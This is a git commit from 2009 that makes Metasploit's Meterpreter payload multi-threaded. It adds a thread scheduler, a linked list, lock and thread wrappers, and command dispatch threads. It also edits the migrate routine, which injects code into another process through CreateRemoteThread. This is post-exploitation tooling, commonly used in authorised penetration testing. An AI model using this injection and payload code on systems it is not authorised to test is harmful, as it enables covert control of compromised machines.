Initial commit of the multi-threaded meterpreter.

git-svn-id: file:///home/svn/framework3/trunk@7698 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Stephen Fewer 2009-12-04 17:37:21 +00:00
parent a544d71f4e
commit a273c9f07c
23 changed files with 1621 additions and 476 deletions

View File

@ -1,6 +1,6 @@
#include "common.h"
extern THREAD serverThread;
/*
* core_migrate
* ------------
@ -223,21 +223,20 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
if (!(thread = CreateRemoteThread(process, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId)))
{
result = GetLastError();
ExitThread(result);
break;
}
// Wait at most 5 seconds for the event to be set letting us know that
// it's finished
if (WaitForSingleObjectEx(event, 5000, FALSE) != WAIT_OBJECT_0)
// Wait at most 5 seconds for the event to be set letting us know that it's finished
if (WaitForSingleObjectEx(event, 5000, FALSE) != WAIT_OBJECT_0 )
{
result = GetLastError();
ExitThread(result);
break;
}
// Signal the main server thread to begin the shutdown as migration has been successfull.
dprintf("[SYSTEM] Shutting down the Meterpreter thread 1 (signaling main thread)...");
// Exit the current process now that we've migrated to another one
dprintf("Shutting down the Meterpreter thread...");
ExitThread(0);
thread_sigterm( &serverThread );
} while (0);
@ -253,7 +252,7 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
if (event)
CloseHandle(event);
return ERROR_SUCCESS;
return result;
}

View File

@ -2,168 +2,249 @@
typedef struct _WaitableEntry
{
Remote * remote;
HANDLE waitable;
LPVOID context;
WaitableNotifyRoutine routine;
} WaitableEntry;
WaitableEntry *waitableArray = NULL;
HANDLE *waitableHandleArray = NULL;
HANDLE schedulerWakeUpEvent = NULL;
DWORD numWaitableEntries = 0;
/*
* The list of all currenltly running threads in the scheduler subsystem.
*/
LIST * schedulerThreadList = NULL;
/*
* Rebuilds the handle array
* The Remote that is associated with the scheduler subsystem
*/
VOID scheduler_build_handle_array()
Remote * schedulerRemote = NULL;
/*
* Initialize the scheduler subsystem. Must be called before any calls to scheduler_insert_waitable.
*/
DWORD scheduler_initialize( Remote * remote )
{
DWORD index = 0;
DWORD result = ERROR_SUCCESS;
if (!schedulerWakeUpEvent)
schedulerWakeUpEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
dprintf( "[SCHEDULER] entering scheduler_initialize." );
if (waitableHandleArray)
free(waitableHandleArray);
if( remote == NULL )
return ERROR_INVALID_HANDLE;
waitableHandleArray = (HANDLE *)malloc((numWaitableEntries+1) *
sizeof(HANDLE));
schedulerThreadList = list_create();
if( schedulerThreadList == NULL )
return ERROR_INVALID_HANDLE;
if (waitableHandleArray)
schedulerRemote = remote;
dprintf( "[SCHEDULER] leaving scheduler_initialize." );
return result;
}
/*
* Destroy the scheduler subsystem. All waitable threads at signaled to terminate.
* this function blocks untill all waitable threads have terminated.
*/
DWORD scheduler_destroy( VOID )
{
DWORD result = ERROR_SUCCESS;
DWORD index = 0;
DWORD count = 0;
LIST * jlist = list_create();
THREAD * thread = NULL;
dprintf( "[SCHEDULER] entering scheduler_destroy." );
lock_acquire( schedulerThreadList->lock );
count = list_count( schedulerThreadList );
for( index=0 ; index < count ; index++ )
{
for (index = 0;
index < numWaitableEntries;
index++)
waitableHandleArray[index] = waitableArray[index].waitable;
thread = (THREAD *)list_get( schedulerThreadList, index );
if( thread == NULL )
continue;
list_push( jlist, thread );
// Finally, add the wake up event to the mix.
waitableHandleArray[index] = schedulerWakeUpEvent;
thread_sigterm( thread );
}
if (schedulerWakeUpEvent)
SetEvent(schedulerWakeUpEvent);
}
lock_release( schedulerThreadList->lock );
/*
* Insert a waitable object for checking and processing
*/
DWORD scheduler_insert_waitable(HANDLE waitable, LPVOID context,
WaitableNotifyRoutine routine)
{
WaitableEntry *newArray = NULL;
DWORD res = ERROR_SUCCESS;
dprintf( "[SCHEDULER] scheduler_destroy, joining all waitable threads..." );
do
while( TRUE )
{
// Allocate space for storing the handle in the waitable array
if (!waitableArray)
{
if (!(newArray = (WaitableEntry *)malloc(
sizeof(WaitableEntry))))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
}
else if (!(newArray = (WaitableEntry *)realloc(waitableArray,
sizeof(WaitableEntry) * (numWaitableEntries+1))))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Put the waitable handle into the waitable handle array
newArray[numWaitableEntries].waitable = waitable;
newArray[numWaitableEntries].context = context;
newArray[numWaitableEntries].routine = routine;
waitableArray = newArray;
// Increment the number of entries
numWaitableEntries++;
} while (0);
scheduler_build_handle_array();
return res;
}
/*
* Remove a waitable object
*/
DWORD scheduler_remove_waitable(HANDLE waitable)
{
DWORD index = 0, numItemsToRemove = 0;
WaitableEntry *newArray = NULL;
BOOL found = FALSE;
dprintf( "[SCHEDULER] scheduler_destroy, popping off another item from thread liat..." );
// Enumerate the waitable handle array, flushing out all
// entries with the provided handle
for (index = 0;
index < numWaitableEntries;
index++)
thread = (THREAD *)list_pop( jlist );
if( thread == NULL )
break;
dprintf( "[SCHEDULER] scheduler_destroy, joining thread 0x%08X...", thread );
thread_join( thread );
}
dprintf( "[SCHEDULER] scheduler_destroy, destroying lists..." );
list_destroy( jlist );
list_destroy( schedulerThreadList );
schedulerThreadList = NULL;
dprintf( "[SCHEDULER] leaving scheduler_destroy." );
return result;
}
/*
* Insert a new waitable thread for checking and processing.
*/
DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotifyRoutine routine )
{
DWORD result = ERROR_SUCCESS;
THREAD * swt = NULL;
WaitableEntry * entry = (WaitableEntry *)malloc( sizeof( WaitableEntry ) );
if( entry == NULL )
return ERROR_NOT_ENOUGH_MEMORY;
dprintf( "[SCHEDULER] entering scheduler_insert_waitable( 0x%08X, 0x%08X, 0x%08X )", waitable, context, routine );
memset( entry, 0, sizeof( WaitableEntry ) );
entry->remote = schedulerRemote;
entry->waitable = waitable;
entry->context = context;
entry->routine = routine;
swt = thread_create( scheduler_waitable_thread, entry, NULL );
if( swt != NULL )
{
if (waitableArray[index].waitable != waitable)
dprintf( "[SCHEDULER] created scheduler_waitable_thread 0x%08X", swt );
thread_run( swt );
}
else
{
free( entry );
result = ERROR_INVALID_HANDLE;
}
dprintf( "[SCHEDULER] leaving scheduler_insert_waitable" );
return result;
}
/*
* Remove a waitable object by signaling the waitable thread to terminate.
*/
DWORD scheduler_remove_waitable( HANDLE waitable )
{
DWORD index = 0;
DWORD count = 0;
THREAD * thread = NULL;
WaitableEntry * entry = NULL;
DWORD result = ERROR_SUCCESS;
dprintf( "[SCHEDULER] entering scheduler_remove_waitable( 0x%08X )", waitable );
if( schedulerThreadList == NULL || waitable == NULL )
return ERROR_INVALID_HANDLE;
lock_acquire( schedulerThreadList->lock );
count = list_count( schedulerThreadList );
for( index=0 ; index < count ; index++ )
{
thread = (THREAD *)list_get( schedulerThreadList, index );
if( thread == NULL )
continue;
entry = (WaitableEntry *)thread->parameter1;
if( entry == NULL )
continue;
waitableArray[index].waitable = NULL;
numItemsToRemove++;
found = TRUE;
}
// Repopulate the array of waitable items with the provided
// handle removed.
if ((newArray = (WaitableEntry *)malloc(sizeof(WaitableEntry) *
(numWaitableEntries - numItemsToRemove))))
{
DWORD newIndex;
for (index = 0, newIndex = 0;
index < numWaitableEntries;
index++)
if( entry->waitable == waitable )
{
if (!waitableArray[index].waitable)
continue;
newArray[newIndex++] = waitableArray[index];
dprintf( "[SCHEDULER] scheduler_remove_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread );
thread_sigterm( thread );
result = ERROR_SUCCESS;
break;
}
// Destroy the waitable array
free(waitableArray);
// Set the waitable array to the new array
waitableArray = newArray;
numWaitableEntries -= numItemsToRemove;
}
scheduler_build_handle_array();
lock_release( schedulerThreadList->lock );
return (found) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
dprintf( "[SCHEDULER] leaving scheduler_remove_waitable" );
return result;
}
/*
* Runs the scheduler, checking waitable objects for data
* The schedulers waitable thread. Each scheduled item will have its own thread which
* waits for either data to process or the threads signal to terminate.
*/
DWORD scheduler_run(Remote *remote, DWORD timeout)
DWORD THREADCALL scheduler_waitable_thread( THREAD * thread )
{
DWORD res;
HANDLE waitableHandles[2] = {0};
WaitableEntry * entry = NULL;
DWORD result = 0;
BOOL terminate = FALSE;
if (waitableHandleArray)
if( thread == NULL )
return ERROR_INVALID_HANDLE;
entry = (WaitableEntry *)thread->parameter1;
if( entry == NULL )
return ERROR_INVALID_HANDLE;
if( entry->routine == NULL )
return ERROR_INVALID_HANDLE;
if( schedulerThreadList == NULL )
return ERROR_INVALID_HANDLE;
list_add( schedulerThreadList, thread );
waitableHandles[0] = entry->waitable;
waitableHandles[1] = thread->sigterm->handle;
dprintf( "[SCHEDULER] entering scheduler_waitable_thread( 0x%08X )", thread );
while( !terminate )
{
DWORD index;
res = WaitForMultipleObjects(numWaitableEntries + 1,
waitableHandleArray, FALSE, timeout);
// If one of the objects signaled data
if ((res >= WAIT_OBJECT_0) &&
((index = res - WAIT_OBJECT_0) < numWaitableEntries))
res = waitableArray[index].routine(remote,
waitableArray[index].context);
else if (res >= WAIT_OBJECT_0)
res = ERROR_SUCCESS;
result = WaitForMultipleObjects( 2, (HANDLE *)&waitableHandles, FALSE, INFINITE );
switch( result - WAIT_OBJECT_0 )
{
case 0:
entry->routine( entry->remote, entry->context );
break;
case 1:
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to terminate...", thread );
terminate = TRUE;
break;
default:
break;
}
}
return res;
}
dprintf( "[SCHEDULER] leaving scheduler_waitable_thread( 0x%08X )", thread );
// we acquire the lock for this block as we are freeing 'entry' which may be accessed
// in a second call to scheduler_remove_waitable for this thread (unlikely but best practice).
lock_acquire( schedulerThreadList->lock );
if( list_remove( schedulerThreadList, thread ) )
{
CloseHandle( entry->waitable );
thread_destroy( thread );
free( entry );
}
lock_release( schedulerThreadList->lock );
return ERROR_SUCCESS;
}

View File

@ -167,9 +167,141 @@ DWORD command_deregister(Command *command)
return res;
}
/*
* A list of all command threads currenlty executing.
*/
LIST * commandThreadList = NULL;
/*
* Block untill all running command threads have finished.
*/
VOID command_join_threads( VOID )
{
while( list_count( commandThreadList ) > 0 )
{
THREAD * thread = (THREAD *)list_get( commandThreadList, 0 );
if( thread )
thread_join( thread );
}
}
/*
* Crude method of throttling the ammount of concurrent command
* threads we allow in the system at a given time.
*/
/*
VOID command_throtle( int maxthreads )
{
while( list_count( commandThreadList ) >= maxthreads )
{
Sleep( 250 );
}
}
*/
/*
* Process a single command in a seperate thread of execution.
*/
DWORD THREADCALL command_process_thread( THREAD * thread )
{
DWORD index = 0;
DWORD result = ERROR_SUCCESS;
Tlv methodTlv = {0};
Tlv requestIdTlv = {0};
PCHAR method = NULL;
PCHAR requestId = NULL;
Command * current = NULL;
Remote * remote = NULL;
Packet * packet = NULL;
if( thread == NULL )
return ERROR_INVALID_HANDLE;
remote = (Remote *)thread->parameter1;
if( remote == NULL )
return ERROR_INVALID_HANDLE;
packet = (Packet *)thread->parameter2;
if( packet == NULL )
return ERROR_INVALID_DATA;
if( commandThreadList == NULL )
{
commandThreadList = list_create();
if( commandThreadList == NULL )
return ERROR_INVALID_HANDLE;
}
list_add( commandThreadList, thread );
__try
{
do
{
// Extract the method
result = packet_get_tlv_string( packet, TLV_TYPE_METHOD, &methodTlv );
if( result != ERROR_SUCCESS )
break;
dprintf( "[COMMAND] Processing method %s", methodTlv.buffer );
// Get the request identifier if the packet has one.
result = packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv );
if( result == ERROR_SUCCESS )
requestId = (PCHAR)requestIdTlv.buffer;
method = (PCHAR)methodTlv.buffer;
result = ERROR_NOT_FOUND;
// Try to find a match in the dispatch type
for( index = 0, result = ERROR_NOT_FOUND ; result == ERROR_NOT_FOUND && commands[index].method ; index++ )
{
if( strcmp( commands[index].method, method ) )
continue;
// Call the base handler
result = command_call_dispatch( &commands[index], remote, packet );
}
// Regardless of error code, try to see if someone has overriden a base handler
for( current = extensionList, result = ERROR_NOT_FOUND ;
result == ERROR_NOT_FOUND && current && current->method ; current = current->next )
{
if( strcmp( current->method, method ) )
continue;
// Call the custom handler
result = command_call_dispatch( current, remote, packet );
}
dprintf("[COMMAND] Calling completion handlers...");
// Finally, call completion routines for the provided identifier
if( ((packet_get_type(packet) == PACKET_TLV_TYPE_RESPONSE) || (packet_get_type(packet) == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && (requestId))
packet_call_completion_handlers( remote, packet, requestId );
// If we get here, we're successful.
result = ERROR_SUCCESS;
} while( 0 );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
dprintf("[COMMAND] Exception hit in command thread 0x%08X!", thread );
}
packet_destroy( packet );
if( list_remove( commandThreadList, thread ) )
thread_destroy( thread );
return ERROR_SUCCESS;
}
/*
* Process a single command
*/
/*
DWORD command_process_remote(Remote *remote, Packet *inPacket)
{
DWORD res = ERROR_SUCCESS, index;
@ -245,11 +377,12 @@ DWORD command_process_remote(Remote *remote, Packet *inPacket)
packet_destroy(localPacket);
return res;
}
}*/
/*
* Process incoming commands, calling dispatch tables appropriately
*/
*/
/*
DWORD command_process_remote_loop(Remote *remote)
{
DWORD res = ERROR_SUCCESS;
@ -269,6 +402,7 @@ DWORD command_process_remote_loop(Remote *remote)
return res;
}
*/
/*
* Call the dispatch routine for a given command

View File

@ -43,8 +43,11 @@ typedef struct command
LINKAGE DWORD command_register(Command *command);
LINKAGE DWORD command_deregister(Command *command);
LINKAGE DWORD command_process_remote(Remote *remote, Packet *inPacket);
LINKAGE DWORD command_process_remote_loop(Remote *remote);
LINKAGE VOID command_join_threads( VOID );
LINKAGE DWORD THREADCALL command_process_thread( THREAD * thread );
//LINKAGE DWORD command_process_remote(Remote *remote, Packet *inPacket);
//LINKAGE DWORD command_process_remote_loop(Remote *remote);
LINKAGE DWORD command_call_dispatch(Command *command, Remote *remote, Packet *packet);
LINKAGE DWORD command_validate_arguments(Command *command, Packet *packet);

View File

@ -132,15 +132,13 @@ DWORD remote_request_core_channel_write(Remote *remote, Packet *packet)
{
// If it's buffered, write it to the local buffer cache
case CHANNEL_CLASS_BUFFERED:
res = channel_write_to_buffered(channel, channelData.buffer,
channelData.header.length, (PULONG)&written);
res = channel_write_to_buffered(channel, channelData.buffer, channelData.header.length, (PULONG)&written);
break;
// If it's non-buffered, call the native write operation handler if
// one is implemented
default:
{
NativeChannelOps *ops = (NativeChannelOps *)&channel->ops;
if (ops->write)
res = ops->write(channel, packet, ops->context,
channelData.buffer, channelData.header.length,
@ -288,6 +286,8 @@ DWORD remote_request_core_channel_close(Remote *remote, Packet *packet)
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS, channelId;
Channel *channel = NULL;
dprintf( "[CHANNEL] remote_request_core_channel_close." );
do
{

View File

@ -132,6 +132,7 @@ LINKAGE Channel *channel_create_pool(DWORD identifier,
*/
VOID channel_destroy(Channel *channel, Packet *request)
{
dprintf( "[CHANNEL] channel_destroy. channel=0x%08X", channel );
// Call the close handler as we're being destroyed.
if ((channel_get_class(channel) == CHANNEL_CLASS_BUFFERED) &&
(channel->ops.buffered.dio))

View File

@ -27,6 +27,10 @@
#include "channel.h"
#include "scheduler.h"
#include "thread.h"
#include "list.h"
#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)
#else

View File

@ -169,6 +169,9 @@ Packet *packet_create_response(Packet *request)
*/
VOID packet_destroy(Packet *packet)
{
if( packet == NULL )
return;
if (packet->payload) {
memset(packet->payload, 0, packet->payloadLength);
free(packet->payload);
@ -642,8 +645,7 @@ DWORD packet_remove_completion_handler(LPCSTR requestId)
/*
* Transmit and destroy a packet
*/
DWORD packet_transmit(Remote *remote, Packet *packet,
PacketRequestCompletion *completion)
DWORD packet_transmit(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
{
CryptoContext *crypto;
Tlv requestId;
@ -651,12 +653,12 @@ DWORD packet_transmit(Remote *remote, Packet *packet,
DWORD idx;
#ifdef _UNIX
int local_error = -1;
#endif
#endif
// If the packet does not already have a request identifier, create
// one for it
if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,
&requestId) != ERROR_SUCCESS)
lock_acquire( remote->lock );
// If the packet does not already have a request identifier, create one for it
if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,&requestId) != ERROR_SUCCESS)
{
DWORD index;
CHAR rid[32];
@ -708,24 +710,28 @@ DWORD packet_transmit(Remote *remote, Packet *packet,
}
idx = 0;
while( idx < sizeof(packet->header)) {
while( idx < sizeof(packet->header))
{
// Transmit the packet's header (length, type)
res = SSL_write(
remote->ssl,
(LPCSTR)(&packet->header) + idx,
sizeof(packet->header) - idx
);
if(res <= 0) {
dprintf("transmit header failed with return %d at index %d\n", res, idx);
dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx);
break;
}
idx += res;
}
if(res < 0) break;
if(res < 0)
break;
idx = 0;
while( idx < packet->payloadLength) {
while( idx < packet->payloadLength)
{
// Transmit the packet's payload (length, type)
res = SSL_write(
remote->ssl,
@ -737,8 +743,9 @@ DWORD packet_transmit(Remote *remote, Packet *packet,
idx += res;
}
if(res < 0) {
dprintf("transmit header failed with return %d at index %d\n", res, idx);
dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx);
break;
}
@ -746,10 +753,12 @@ DWORD packet_transmit(Remote *remote, Packet *packet,
} while (0);
res = GetLastError();
// Destroy the packet
packet_destroy(packet);
lock_release( remote->lock );
return res;
}
@ -783,9 +792,13 @@ DWORD packet_receive(Remote *remote, Packet **packet)
BOOL inHeader = TRUE;
PUCHAR payload = NULL;
ULONG payloadLength;
#ifdef _UNIX
int local_error = -1;
#endif
#endif
lock_acquire( remote->lock );
do
{
// Read the packet length
@ -799,7 +812,7 @@ DWORD packet_receive(Remote *remote, Packet **packet)
SetLastError(ERROR_NOT_FOUND);
if(bytesRead < 0) {
dprintf("receive header failed with error code %d\n", bytesRead);
dprintf("[PACKET] receive header failed with error code %d\n", bytesRead);
SetLastError(ERROR_NOT_FOUND);
}
@ -845,7 +858,7 @@ DWORD packet_receive(Remote *remote, Packet **packet)
SetLastError(ERROR_NOT_FOUND);
if(bytesRead < 0) {
dprintf("receive payload of length %d failed with error code %d\n", payloadLength, bytesRead);
dprintf("[PACKET] receive payload of length %d failed with error code %d\n", payloadLength, bytesRead);
SetLastError(ERROR_NOT_FOUND);
}
@ -909,6 +922,8 @@ DWORD packet_receive(Remote *remote, Packet **packet)
free(localPacket);
}
lock_release( remote->lock );
return res;
}

View File

@ -0,0 +1,312 @@
#include "common.h"
/*
* An implementation of a simple thread safe double linked list structure. Can be used as either
* a stack (via pop/push) or an array (via get/add/insert/remove). If performing a group of
* actions on a list based on results from list actions, acquire the list lock before the group
* of actions and release lock when done.
*/
/*
* Create a thread safe double linked list.
*/
LIST * list_create( VOID )
{
LIST * list = (LIST *)malloc( sizeof(LIST) );
if( list != NULL )
{
list->start = NULL;
list->end = NULL;
list->count = 0;
list->lock = lock_create();
if( list->lock == NULL )
{
list_destroy( list );
return NULL;
}
}
return list;
}
/*
* Destroy an existing linked list. This destroys all nodes and the list itself
* but not the data held in the linked list. This is the responsibility of the
* caller to destroy.
*/
VOID list_destroy( LIST * list )
{
NODE * current_node;
NODE * next_node;
if( list != NULL )
{
lock_acquire( list->lock );
current_node = list->start;
while( current_node != NULL )
{
next_node = current_node->next;
current_node->next = NULL;
current_node->prev = NULL;
free( current_node );
current_node = next_node;
}
list->count = 0;
lock_release( list->lock );
lock_destroy( list->lock );
free( list );
}
}
/*
* Return the number of items in the list. If using this coung value to itterate through the list
* with list_get, acquire the lists lock before the list_count/list_get block and release it afterwards.
*/
DWORD list_count( LIST * list )
{
DWORD count = 0;
if( list != NULL )
{
lock_acquire( list->lock );
count = list->count;
lock_release( list->lock );
}
return count;
}
/*
* Get the data value held in the list and a specified index. This will perform a linear search from
* the begining of the list returning the data value if found or NULL if not found.
*/
LPVOID list_get( LIST * list, DWORD index )
{
LPVOID data = NULL;
NODE * current_node = NULL;
if( list == NULL )
return NULL;
lock_acquire( list->lock );
if( list->count <= index )
{
lock_release( list->lock );
return NULL;
}
current_node = list->start;
while( current_node != NULL )
{
if( index == 0 )
break;
current_node = current_node->next;
index--;
}
if( current_node != NULL )
data = current_node->data;
lock_release( list->lock );
return data;
}
/*
* Adds a data item onto the end of the list.
*/
BOOL list_add( LIST * list, LPVOID data )
{
return list_push( list, data );
}
/*
* Internal function to remove a node from a list. Assumes caller has aquired the appropriate lock first.
*/
BOOL list_remove_node( LIST * list, NODE * node )
{
if( list == NULL || node == NULL)
return FALSE;
if( list->count - 1 == 0 )
{
list->start = NULL;
list->end = NULL;
}
else
{
if( list->start == node )
{
list->start = list->start->next;
list->start->prev = NULL;
}
else if( list->end == node )
{
list->end = list->end->prev;
list->end->next = NULL;
}
else
{
node->next->prev = node->prev;
node->prev->next = node->next;
}
}
list->count -= 1;
node->next = NULL;
node->prev = NULL;
free( node );
return TRUE;
}
/*
* Remove a given data item from the list. Assumes data items are unqique as only the first occurrence is removed.
*/
BOOL list_remove( LIST * list, LPVOID data )
{
BOOL result = FALSE;
NODE * current_node = NULL;
if( list == NULL || data == NULL )
return FALSE;
lock_acquire( list->lock );
current_node = list->start;
while( current_node != NULL )
{
if( current_node->data == data )
break;
current_node = current_node->next;
}
result = list_remove_node( list, current_node );
lock_release( list->lock );
return result;
}
/*
* Remove a list item at the specified index.
*/
BOOL list_delete( LIST * list, DWORD index )
{
BOOL result = FALSE;
LPVOID data = NULL;
NODE * current_node = NULL;
if( list == NULL )
return FALSE;
lock_acquire( list->lock );
if( list->count > index )
{
current_node = list->start;
while( current_node != NULL )
{
if( index == 0 )
{
result = list_remove_node( list, current_node );
break;
}
current_node = current_node->next;
index--;
}
}
lock_release( list->lock );
return result;
}
/*
* Push a data item onto the end of the list.
*/
BOOL list_push( LIST * list, LPVOID data )
{
NODE * node = NULL;
if( list == NULL )
return FALSE;
node = (NODE *)malloc( sizeof(NODE) );
if( node == NULL )
return FALSE;
node->data = data;
node->next = NULL;
node->prev = NULL;
lock_acquire( list->lock );
if ( list->end != NULL )
{
list->end->next = node;
node->prev = list->end;
list->end = node;
}
else
{
list->start = node;
list->end = node;
}
list->count += 1;
lock_release( list->lock );
return TRUE;
}
/*
* Pop a data value off the end of the list.
*/
LPVOID list_pop( LIST * list )
{
LPVOID data = NULL;
if( list == NULL )
return NULL;
lock_acquire( list->lock );
if( list->end != NULL )
{
data = list->end->data;
list_remove_node( list, list->end );
}
lock_release( list->lock );
return data;
}

View File

@ -0,0 +1,43 @@
#ifndef _METERPRETER_LIB_LIST_H
#define _METERPRETER_LIB_LIST_H
/*****************************************************************************************/
typedef struct _NODE
{
struct _NODE * next;
struct _NODE * prev;
LPVOID data;
} NODE;
typedef struct _LIST
{
NODE * start;
NODE * end;
DWORD count;
LOCK * lock;
} LIST;
/*****************************************************************************************/
LIST * list_create( VOID );
VOID list_destroy( LIST * list );
DWORD list_count( LIST * list );
LPVOID list_get( LIST * list, DWORD index );
BOOL list_add( LIST * list, LPVOID data );
BOOL list_remove( LIST * list, LPVOID data );
BOOL list_delete( LIST * list, DWORD index );
BOOL list_push( LIST * list, LPVOID data );
LPVOID list_pop( LIST * list );
/*****************************************************************************************/
#endif

View File

@ -14,6 +14,17 @@ Remote *remote_allocate(SOCKET fd)
// Set the file descriptor
remote->fd = fd;
remote->lock = lock_create();
// If we failed to create the lock we must fail to create the remote
// as we wont be able to synchronize communication correctly.
if( remote->lock == NULL )
{
remote_deallocate( remote );
return NULL;
}
}
return remote;
@ -22,10 +33,13 @@ Remote *remote_allocate(SOCKET fd)
/*
* Deallocate a remote context
*/
VOID remote_deallocate(Remote *remote)
VOID remote_deallocate( Remote * remote )
{
if (remote->fd)
closesocket(remote->fd);
if( remote->fd )
closesocket( remote->fd );
if( remote->lock )
lock_destroy( remote->lock );
free(remote);
}

View File

@ -2,7 +2,7 @@
#define _METERPRETER_LIB_REMOTE_H
#include "crypto.h"
#include "thread.h"
/*
* Remote context allocation
*
@ -16,6 +16,7 @@ typedef struct _Remote
SSL_METHOD *meth;
SSL_CTX *ctx;
SSL *ssl;
LOCK * lock; // lock must be acquired before doing any OpenSSL related action.
} Remote;
Remote *remote_allocate(SOCKET fd);

View File

@ -6,9 +6,10 @@
typedef DWORD (*WaitableNotifyRoutine)(Remote *remote, LPVOID context);
LINKAGE DWORD scheduler_insert_waitable(HANDLE waitable, LPVOID context,
WaitableNotifyRoutine routine);
LINKAGE DWORD scheduler_remove_waitable(HANDLE waitable);
LINKAGE DWORD scheduler_run(Remote *remote, DWORD timeout);
LINKAGE DWORD scheduler_initialize( Remote * remote );
LINKAGE DWORD scheduler_destroy( VOID );
LINKAGE DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotifyRoutine routine );
LINKAGE DWORD scheduler_remove_waitable( HANDLE waitable );
LINKAGE DWORD THREADCALL scheduler_waitable_thread( THREAD * thread );
#endif

View File

@ -0,0 +1,248 @@
#include "common.h"
// thread.c contains wrappers for the primitives of locks, events and threads for use in
// the multithreaded meterpreter. This is the win32/win64 implementation.
/*****************************************************************************************/
/*
* Create a new lock.
*/
LOCK * lock_create( VOID )
{
LOCK * lock = (LOCK *)malloc( sizeof( LOCK ) );
if( lock != NULL )
{
memset( lock, 0, sizeof( LOCK ) );
InitializeCriticalSection( &lock->cs );
}
return lock;
}
/*
* Destroy a lock that is no longer required.
*/
VOID lock_destroy( LOCK * lock )
{
if( lock != NULL )
{
lock_release( lock );
DeleteCriticalSection( &lock->cs );
free( lock );
}
}
/*
* Acquire a lock and block untill it is acquired.
*/
VOID lock_acquire( LOCK * lock )
{
if( lock != NULL )
EnterCriticalSection( &lock->cs );
}
/*
* Atempt to acquire a lock, returning true if lock is acquired or allready owned.
* Returns false if another thread has acquired the lock. This function does not block.
*/
BOOL lock_poll( LOCK * lock )
{
if( lock != NULL )
return TryEnterCriticalSection( &lock->cs );
return FALSE;
}
/*
* Release a lock previously held.
*/
VOID lock_release( LOCK * lock )
{
if( lock != NULL )
LeaveCriticalSection( &lock->cs );
}
/*****************************************************************************************/
/*
* Create a new event which can be signaled/polled/and blocked on.
*/
EVENT * event_create( VOID )
{
EVENT * event = NULL;
event = (EVENT *)malloc( sizeof( EVENT ) );
if( event == NULL )
return NULL;
memset( event, 0, sizeof( EVENT ) );
event->handle = CreateEvent( NULL, FALSE, FALSE, NULL );
if( event->handle == NULL )
{
free( event );
return NULL;
}
return event;
}
/*
* Destroy an event.
*/
BOOL event_destroy( EVENT * event )
{
if( event == NULL )
return FALSE;
CloseHandle( event->handle );
free( event );
return TRUE;
}
/*
* Signal an event.
*/
BOOL event_signal( EVENT * event )
{
if( event == NULL )
return FALSE;
if( SetEvent( event->handle ) == 0 )
return FALSE;
return TRUE;
}
/*
* Poll an event to see if it has been signaled. Set timeout to -1 to block indefinatly.
* If timeout is 0 this function does not block but returns immediately.
*/
BOOL event_poll( EVENT * event, DWORD timeout )
{
if( event == NULL )
return FALSE;
if( WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 )
return TRUE;
return FALSE;
}
/*****************************************************************************************/
/*
* Create a new thread in a suspended state.
*/
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 )
{
THREAD * thread = NULL;
if( funk == NULL )
return NULL;
thread = (THREAD *)malloc( sizeof( THREAD ) );
if( thread == NULL )
return NULL;
memset( thread, 0, sizeof( THREAD ) );
thread->sigterm = event_create();
if( thread->sigterm == NULL )
{
free( thread );
return NULL;
}
thread->parameter1 = param1;
thread->parameter2 = param2;
thread->handle = CreateThread( NULL, 0, funk, thread, CREATE_SUSPENDED, &thread->id );
if( thread->handle == NULL )
{
event_destroy( thread->sigterm );
free( thread );
return NULL;
}
return thread;
}
/*
* Run a thread.
*/
BOOL thread_run( THREAD * thread )
{
if( thread == NULL )
return FALSE;
if( ResumeThread( thread->handle ) < 0 )
return FALSE;
return TRUE;
}
/*
* Signals the thread to terminate. It is the responsibility of the thread to wait for and process this signal.
* Should be used to signal the thread to terminate.
*/
BOOL thread_sigterm( THREAD * thread )
{
if( thread == NULL )
return FALSE;
return event_signal( thread->sigterm );
}
/*
* Terminate a thread. Use with caution! better to signal your thread to terminate and wait for it to do so.
*/
BOOL thread_kill( THREAD * thread )
{
if( thread == NULL )
return FALSE;
if( TerminateThread( thread->handle, -1 ) == 0 )
return FALSE;
return TRUE;
}
/*
* Blocks untill the thread has terminated.
*/
BOOL thread_join( THREAD * thread )
{
if( thread == NULL )
return FALSE;
if( WaitForSingleObject( thread->handle, INFINITE ) == WAIT_OBJECT_0 )
return TRUE;
return FALSE;
}
/*
* Destroys a previously created thread. Note, this does not terminate the thread. You must signal your
* thread to terminate and wait for it to do so (via thread_signal/thread_join).
*/
BOOL thread_destroy( THREAD * thread )
{
if( thread == NULL )
return FALSE;
event_destroy( thread->sigterm );
CloseHandle( thread->handle );
free( thread );
return TRUE;
}

View File

@ -0,0 +1,67 @@
#ifndef _METERPRETER_LIB_THREAD_H
#define _METERPRETER_LIB_THREAD_H
/*****************************************************************************************/
typedef struct _LOCK
{
CRITICAL_SECTION cs;
} LOCK, * LPLOCK;
typedef struct _EVENT
{
HANDLE handle;
} EVENT, * LPEVENT;
typedef struct _THREAD
{
DWORD id;
HANDLE handle;
EVENT * sigterm;
LPVOID parameter1;
LPVOID parameter2;
} THREAD, * LPTHREAD;
#define THREADCALL __stdcall
typedef DWORD (THREADCALL * THREADFUNK)( THREAD * thread );
/*****************************************************************************************/
LOCK * lock_create( VOID );
